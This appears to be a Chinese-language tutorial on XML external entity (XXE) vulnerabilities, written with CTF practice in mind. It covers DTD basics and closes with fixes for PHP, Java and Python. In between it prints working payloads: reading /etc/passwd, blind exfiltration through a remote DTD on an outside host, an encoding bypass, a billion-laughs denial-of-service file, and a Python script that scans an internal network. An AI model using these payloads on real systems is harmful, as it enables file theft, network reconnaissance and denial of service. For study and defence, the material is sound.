XXE外部实体漏洞

XML和DTD

XML与HTML的区别

XML是被设计为传输和存储数据,其焦点是数据的内容

HTML被设计用来显示数据,其焦点是数据的外观

HTML主要是显示信息,而XML主要传输信息

所以,如果不严谨的话,就会造成XML去传输一些恶意的信息

漏洞成因

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置(就是有上传xml文件的入口点),没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="ISO-8859-1"?> //声明XML文档

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)> //DTD文档定义类型
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>George</to>
<from>John</from> //文档元素,元素是自由设定的。
<heading>Reminder</heading> //但是一定要有根元素和分支,并且正确嵌套
<body>Don't forget the meeting!</body>
</note>

DTD(文档定义类型)-实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

作用是定义XML文档的合法构建模块,可内部声明,也可外部引用,这个也是外部实体注入的关键地方

内部实体的声明

1
2
3
4
5
6
7
8
9
10
11
12
语法:
<!ENTITY 实体名称 "实体的值">

DTD中:
例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML中:
一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
例子;
<author>&writer;&copyright;</author>

外部实体声明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">

DTD中:
例子:
<!ENTITY writer SYSTEM "http://www.baidu.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML中:
例子:
<author>&writer;&copyright;</author>

或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

XML外部实体注入

当允许引用外部实体时,由于XML注重于数据的传输,所以通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

方式1:

通过协议来引用,不过不同的程序支持的协议不一样

img

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY Y SYSTEM "file:///etc/passwd">
]>
<user>&Y</user>
//上传该文件就会返回/etc/passwd的内容

方式2:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY Y SYSTEM "http://www.baidu.com">
]>
<user>&Y</user>

方式3(数据外带—在xxe的盲注中可以使用):

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE root [   
<!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd">
%remote;
]>

shell.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>">
%int;
%send;

img

方式4(内部DTD+参数外部实体):

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY %name SYSTEM "file:///etc/passwd">
%name;
]>
//注意:%name(参数实体)是在 DTD 中被引用的,而&name(其余实体)实在 xml 文档中被引用
的。

绕过手法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
双重实体编码绕过
<?xml version="1.0"?>

<!DOCTYPE GVI [

<!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">

%xml;

编码内容:
<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
<message>&xxe;</message>
</core>

拒绝服务攻击代码

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<--XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。-->

内网扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" ?>
<!DOCTYPE xxe[
<!ENTITY xxe SYSTEM "file://proc/net/fib_trie">
<user>&xxe</user>
]>
file:///etc/hosts 储存域名解析的缓存

file:///proc/net/arp arp表,可以获得内网其他机器的地址

file:///proc/net/tcp

file:///proc/net/udp

file:///proc/net/dev

file:///proc/net/fib_trie 路由缓存

file:///etc/passwd 用户密码

内网扫描脚本(借用大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import requests as res
url="http://185729a2-949c-44fb-ac39-c16282525e73.node5.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE note ['\
'<!ENTITY payload SYSTEM "http://10.244.80.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload;'\
'</username>'\
'<password>'\
'123'\
'</password>'\
'</user>'
for i in range(1,256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.5)
except:
continue
else:
print(resp.text,end='')
finally:
print('')

修复方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
xxe修复

方案:使用开发语言提供的禁用外部实体的方法

1.PHP:
libxml\_disable\_entity\_loader(true);//设置为true时禁止解析xml外部实体

2.JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

3.Python:
from lxml import etree
xmlData=etree.parse(xmlSource,etree.XMLParser(resolve\_entities=False))

参考文章:

XXE漏洞-再简单一点点

未知攻焉知防——XXE漏洞攻防

XXE外部实体注入漏洞——PHP

php xxe注入,XXE的原理利用方式及修复

渗透攻击零基础学习-XXE(非常详细)零基础入门到精通,收藏这一篇就够了!!!

BUUCTF题解 NCTF2019 True XML cookbook–Article

[NCTF2019]True XML cookbook 1-peekaboo

XXE漏洞-内网探测